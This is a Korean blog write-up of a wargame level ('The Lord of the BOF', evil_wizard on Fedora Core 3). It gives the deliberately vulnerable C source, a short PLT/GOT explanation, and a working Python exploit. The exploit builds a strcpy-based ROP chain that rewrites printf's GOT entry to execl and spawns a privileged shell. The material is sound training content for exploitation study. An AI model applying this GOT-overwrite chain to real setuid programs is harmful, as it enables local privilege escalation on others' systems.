Fedora Core 3 - Challenge [hell_fire-> evil_wizard


[Summary]

1. printf의 GOT를 execl 함수 주소로 변조한 후, printf에 "amic"을 인자로 주고 심볼릭 링크를 통해 system("/bin/sh")를 실행하는 프로그램을 실행하도록 하여 쉘을 획득할 수 있다. 


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- evil_wizard
	- Local BOF on Fedora Core 3 
	- hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
	asm("pop %eax");
	asm("pop %eax");
	asm("ret");
}
 
int main(int argc, char *argv[])
{
	char buffer[256];
	char saved_sfp[4];
	int length; 

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// for disturbance RET sleding
	length = strlen(argv[1]);
   
	// healing potion for you
	setreuid(geteuid(), geteuid());
	setregid(getegid(), getegid());

	// save sfp 
	memcpy(saved_sfp, buffer+264, 4);
 
	// overflow!!
	strcpy(buffer, argv[1]);

	// restore sfp 
	memcpy(buffer+264, saved_sfp, 4);

	// disturbance RET sleding
	memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

	printf("%s\n", buffer);
}


[Analysis] 

gdb에서 info file 명령을 통해 바이너리의 PLT, GOT 영역을 확인할 수 있다. 위와 같이 PLT에는 jmp 명령을 통해 GOT를 참조하여 실제 함수로 이동하게 된다. 따라서 해당 함수에 대한 GOT를 다른 함수로 변조하게 되면 PLT를 실행하였을때, 다른 함수를 실행하게 할 수 있다. 필자는 printf의 GOT를 execl으로 변조하고 printf에 amic을 인자로 주고 실행하여 쉘을 획득할 수 있었다.


[Exploit]

import os
from struct import *
 
p = lambda x : pack("<I", x)
 
ppr = 0x0804854f
strcpy_plt = 0x8048494
printf_plt = 0x8048424
printf_got = 0x8049884
gadget_7a = 0x8048898
gadget_57 = 0x804969b
gadget_20 = 0x80480e4
gadget_00 = 0x8048007
shell = 0x8048a86

payload = 'A'*268   		# dummy

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got)	# printf got
payload += p(gadget_20)		# 20

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got+1)	# printf got + 1
payload += p(gadget_57)		# 57

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got+2)	# printf got + 2
payload += p(gadget_7a)		# 7a

payload += p(strcpy_plt)	# strcpy plt
payload += p(ppr)			# pop_pop_ret
payload += p(printf_got+3)	# printf got + 3
payload += p(gadget_00)		# 00

payload += p(printf_plt)	# printf plt
payload += "AAAA"			# dummy
payload += p(shell)			# evil_wizard : 0x8048a86 ("amic")
payload += p(shell)			# evil_wizard : 0x8048a86 ("amic")
 
target = 'evil_wizard'

os.execv(target, (target, payload))


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


+ Recent posts